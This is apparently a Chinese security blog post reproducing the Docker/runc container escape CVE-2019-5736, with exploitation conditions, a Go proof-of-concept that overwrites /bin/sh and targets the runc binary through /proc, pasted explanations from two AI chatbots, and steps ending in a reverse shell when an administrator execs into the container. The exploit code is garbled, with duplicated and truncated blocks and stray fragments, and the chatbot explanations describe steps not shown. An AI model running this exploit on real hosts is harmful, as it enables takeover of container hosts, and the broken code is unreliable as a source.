1.docker逃逸漏洞利用条件
1.Docker Version <18.09.2
2.RunC Version <1.0-rc6
3.攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限
2docker逃逸漏洞复现过程
POC:
关于docker逃逸漏洞复现过程poc -yanshu
.45
位漏洞
package
main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import
(
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
for
found ==
0
{
pids, err := ioutil.ReadDir(
"/proc"
)
if
err !=
nil
{
fmt.Println(err)
return
}
for
_, f :=
range
pids {
fbytes, _ := ioutil.ReadFile(
"/proc/"
+ f.Name() +
"/cmdline"
)
fstring :=
string
(fbytes)
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile(
"/proc/"
+strconv.Itoa(found)+
"/exe"
, os.O_RDONLY,
0777
)
if
int
(handle.Fd()) >
0
{
handleFd =
int
(handle.Fd())
}
}
"os"
"strconv"
"strings"
"flag"
)
var
shellCmd
string
func
init
()
{
flag.StringVar(&shellCmd,
"shell"
,
""
,
"Execute arbitrary commands"
)
flag.Parse()
}
func
main
()
{
// This is the line of shell commands that will execute on the host
var
payload =
"#!/bin/bash n"
+ shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create(
"/bin/sh"
)
if
err !=
nil
{
fmt.Println(err)
return
}
fmt.Fprintln(fd,
"#!/proc/self/exe"
)
err = fd.Close()
if
err !=
nil
{
fmt.Println(err)
return
}
fmt.Println(
"[+] Overwritten /bin/sh successfully"
)
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var
found
int
for
found ==
0
{
pids, err := ioutil.ReadDir(
"/proc"
)
if
err !=
nil
{
fmt.Println(err)
return
}
for
_, f :=
range
pids {
fbytes, _ := ioutil.ReadFile(
"/proc/"
+ f.Name() +
"/cmdline"
)
fstring :=
string
(fbytes)
return
}
}
}
这段代码的讲解:
文心一言:
这段代码是一个用于复现 Docker 逃逸漏洞的 poc(Proof of Concept,概念证明)。具体来说,它是针对 CVE-2019-5736 漏洞的一个 poc。CVE-2019-5736 是一个 Docker 逃逸漏洞,允许攻击者在宿主机上执行任意命令。
下面是对代码的逐行解释:
package main:声明这是一个 Go 语言程序。
导入所需的库:
fmt:用于格式化输出。
ioutil:提供文件 I/O 操作。
os:提供与操作系统交互的功能。
strconv:提供字符串与整数之间的转换。
strings:提供字符串操作。
flag:用于处理命令行参数。
在 init 函数中,通过 flag.StringVar 定义了一个命令行参数 --shell,用于执行任意命令。
在 main 函数中,首先定义了要执行的 shell 命令 payload。
然后,它试图覆盖 /bin/sh(shell 的标准路径)为 /proc/self/exe,这是当前 Go 程序的解释器路径。这允许攻击者通过覆盖的 shell 执行任意命令。
通过循环遍历 /proc 目录下的所有进程,查找包含 "runc" 的进程。这是因为 Docker 使用 "runc" 作为其主进程的名称。找到这个进程后,获取其 PID(进程 ID)。
使用找到的 PID,获取 /proc/[PID]/exe 的文件句柄。这是因为在 Linux 中,每个进程都有一个与其 PID 对应的 /proc/[PID]/exe 文件,它实际上是该进程的可执行文件。
最后,使用获取的文件句柄覆盖 runc 的二进制文件,从而允许攻击者在宿主机上执行任意命令。
需要注意的是,这段代码并没有完整地展示如何执行攻击。它只是展示了如何覆盖 /bin/sh 并获取文件句柄以覆盖 runc 的二进制文件。为了真正利用这个漏洞,还需要进一步的操作来执行任意命令或进行其他攻击活动。
GPT:
这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。
代码的主要逻辑如下:
导入所需的包和定义全局变量。
在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。
在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。
创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。
循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。
使用PID获取runc进程的文件句柄handleFd。
使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。
程序结束。
这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。
首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行但是这里需要root超级用户权限
这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell
可以按照以下步骤进行:
安装Ubuntu Docker镜像:首先,通过命令docker pull ubuntu:18.04来下载并安装Ubuntu Docker镜像。
以host模式运行Docker:使用命令docker run -ti --rm --network=host <镜像ID>来运行Docker容器,其中--network=host参数表示将容器与宿主机共享网络模式。
进入容器:上述命令执行完成后,会自动进入容器。此时,你可以在容器内部执行一些命令。
下载并运行POC:在容器中下载并运行POC(Proof of Concept,概念证明),以测试是否存在Docker逃逸漏洞。具体的POC下载地址和运行命令可能会因实际情况而异,需要参考相关的安全公告或漏洞披露。
观察结果:如果存在Docker逃逸漏洞,POC运行后应该能够成功地从容器逃逸到宿主机上,并执行一些操作。
需要注意的是,复现Docker逃逸漏洞需要较高的权限和特定的环境配置,同时也存在一定的安全风险。因此,建议在安全的环境下进行测试,并遵循相关法律法规和道德规范。
Docker逃逸漏洞是一种严重的安全漏洞,它允许攻击者从容器内部逃逸到宿主机上,从而获得更高的权限和访问控制。
这个漏洞的危害在于:
攻击者可利用该漏洞获取宿主机上的系统权限,从而进行任意操作,如修改系统文件、安装恶意软件等,可能导致数据泄露、系统损坏等严重后果。
由于容器逃逸漏洞通常涉及到操作系统级别的权限提升,因此它可能被恶意攻击者利用来攻击其他容器或整个集群,造成更大的安全威胁。
因此,对于Docker逃逸漏洞的复现和防范措施是非常重要的。在复现过程中,需要仔细检查和测试Docker的配置和运行环境,确保没有潜在的安全漏洞。同时,及时更新Docker版本和相关组件,以修复已知的安全漏洞。
原文始发于微信公众号(天盾信安):docker逃逸漏洞的复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论